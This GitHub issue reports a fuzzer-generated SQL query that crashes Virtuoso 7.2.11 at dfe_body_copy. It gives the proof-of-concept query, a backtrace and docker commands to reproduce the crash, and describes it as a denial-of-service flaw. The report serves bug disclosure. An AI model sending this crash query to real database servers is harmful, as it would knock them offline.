The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
CREATE TABLE v0 ( v1 FLOAT UNIQUE ) ;

 CREATE VIEW v2 AS SELECT * FROM v0 WHERE v1 < -128 + 47355641.000000 / 32 * v1 + ( SELECT * FROM v0 WHERE v1 = 71 AND ( 54571328.000000 [ -128 ] ) >= v1 AND v1 IS NULL ) + 66 + 29872388.000000 ORDER BY v1 DESC ;

 SELECT * FROM v2 WHERE 71883293.000000 < CASE WHEN ( SELECT CASE WHEN v1 [ 76 ] THEN v1 ELSE ( v1 / CASE WHEN v1 = -1 THEN v1 + 61 END , 'x' ) END FROM v2 ) IS NULL THEN v1 ELSE 68 END AND v1 = -1 AND 0 >= v1 ;
```

backtrace:
```c
#0 0x70cfbd (dfe_body_copy+0x2dd)
#1 0x70d088 (dfe_body_copy+0x3a8)
#2 0x70c0fe (sqlo_layout_1+0x1dee)
#3 0x70ad2c (sqlo_layout_1+0xa1c)
#4 0x6eadab (sqlo_layout+0x5fb)
#5 0x6e66f0 (sqlo_place_exp+0x1540)
#6 0x6e6009 (sqlo_place_exp+0xe59)
#7 0x6eb681 (sqlo_pred_body+0x241)
#8 0x6f7561 (sqlo_tb_col_preds+0x14b1)
#9 0x70193e (sqlo_place_table+0x104e)
#10 0x70967b (sqlo_try+0xdb)
#11 0x70ac5c (sqlo_layout_1+0x94c)
#12 0x6eadab (sqlo_layout+0x5fb)
#13 0x6edb6f (sqlo_place_dt_leaf+0xfdf)
#14 0x6ef5d5 (sqlo_place_dt+0x305)
#15 0x701485 (sqlo_place_table+0xb95)
#16 0x70967b (sqlo_try+0xdb)
#17 0x70ac5c (sqlo_layout_1+0x94c)
#18 0x6eadab (sqlo_layout+0x5fb)
#19 0x70eb45 (sqlo_top_2+0x335)
#20 0x70e4a5 (sqlo_top_1+0x135)
#21 0x70ffa6 (sqlo_top_select+0x156)
#22 0x6b9b6f (sql_stmt_comp+0x8bf)
#23 0x6bc9d2 (sql_compile_1+0x1a62)
#24 0x7cba60 (stmt_set_query+0x340)
#25 0x7cd952 (sf_sql_execute+0x922)
#26 0x7cecde (sf_sql_execute_w+0x17e)
#27 0x7d799d (sf_sql_execute_wrapper+0x3d)
#28 0xe214bc (future_wrapper+0x3fc)
#29 0xe28dbe (_thread_boot+0x11e)
#30 0x7ff04ebc5609 (start_thread+0xd9)
#31 0x7ff04e995133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
Fuzzer: Virtuoso 7.2.11 crashed at `dfe_body_copy`
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.11 crashed at `dfe_body_copy`
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
CREATE TABLE v0 ( v1 FLOAT UNIQUE ) ;

 CREATE VIEW v2 AS SELECT * FROM v0 WHERE v1 < -128 + 47355641.000000 / 32 * v1 + ( SELECT * FROM v0 WHERE v1 = 71 AND ( 54571328.000000 [ -128 ] ) >= v1 AND v1 IS NULL ) + 66 + 29872388.000000 ORDER BY v1 DESC ;

 SELECT * FROM v2 WHERE 71883293.000000 < CASE WHEN ( SELECT CASE WHEN v1 [ 76 ] THEN v1 ELSE ( v1 / CASE WHEN v1 = -1 THEN v1 + 61 END , 'x' ) END FROM v2 ) IS NULL THEN v1 ELSE 68 END AND v1 = -1 AND 0 >= v1 ;
```

backtrace:
```c
#0 0x70cfbd (dfe_body_copy+0x2dd)
#1 0x70d088 (dfe_body_copy+0x3a8)
#2 0x70c0fe (sqlo_layout_1+0x1dee)
#3 0x70ad2c (sqlo_layout_1+0xa1c)
#4 0x6eadab (sqlo_layout+0x5fb)
#5 0x6e66f0 (sqlo_place_exp+0x1540)
#6 0x6e6009 (sqlo_place_exp+0xe59)
#7 0x6eb681 (sqlo_pred_body+0x241)
#8 0x6f7561 (sqlo_tb_col_preds+0x14b1)
#9 0x70193e (sqlo_place_table+0x104e)
#10 0x70967b (sqlo_try+0xdb)
#11 0x70ac5c (sqlo_layout_1+0x94c)
#12 0x6eadab (sqlo_layout+0x5fb)
#13 0x6edb6f (sqlo_place_dt_leaf+0xfdf)
#14 0x6ef5d5 (sqlo_place_dt+0x305)
#15 0x701485 (sqlo_place_table+0xb95)
#16 0x70967b (sqlo_try+0xdb)
#17 0x70ac5c (sqlo_layout_1+0x94c)
#18 0x6eadab (sqlo_layout+0x5fb)
#19 0x70eb45 (sqlo_top_2+0x335)
#20 0x70e4a5 (sqlo_top_1+0x135)
#21 0x70ffa6 (sqlo_top_select+0x156)
#22 0x6b9b6f (sql_stmt_comp+0x8bf)
#23 0x6bc9d2 (sql_compile_1+0x1a62)
#24 0x7cba60 (stmt_set_query+0x340)
#25 0x7cd952 (sf_sql_execute+0x922)
#26 0x7cecde (sf_sql_execute_w+0x17e)
#27 0x7d799d (sf_sql_execute_wrapper+0x3d)
#28 0xe214bc (future_wrapper+0x3fc)
#29 0xe28dbe (_thread_boot+0x11e)
#30 0x7ff04ebc5609 (start_thread+0xd9)
#31 0x7ff04e995133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
--- end body ---

A segmentation fault in Virtuoso 7.2.11 at the `dfe_body_copy` function can be triggered by executing a specially crafted SQL query. This vulnerability can lead to a Denial of Service (DoS) as the server crashes when processing the input, which can be exploited by an attacker to disrupt service.